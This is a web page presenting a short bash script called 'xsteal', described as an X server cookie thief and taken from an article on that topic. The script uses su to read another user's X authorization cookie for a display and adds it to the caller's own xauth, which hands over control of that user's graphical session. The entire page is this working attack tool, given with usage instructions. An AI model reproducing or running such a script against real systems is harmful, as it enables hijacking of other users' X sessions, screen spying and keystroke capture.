X server cookie thief

The code below has been extracted from the article Stealing the X server cookie. If you were redirected to this page by a search engine or an external site you may be able to find more useful information in the article that this code belongs to.

X server cookie thief <Bash: xsteal>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/bin/bash
# X server cookie thief
# http://www.undefinedfire.com

if [ -z "$1" ]; then
    echo Usage: xsteal USER [DISPLAY]
else
    DSPLAY=":0"
    if [ -n "$2" ]; then
        DSPLAY=$2
    fi
    MAGIC=$(su --command="xauth list $DSPLAY" $1 | awk 'i < 1 { print; i++ }')
    if ( xauth add $MAGIC ); then
        echo Changed magic cookie to $MAGIC
    else
        echo Failed to change magic cookie.
    fi
fi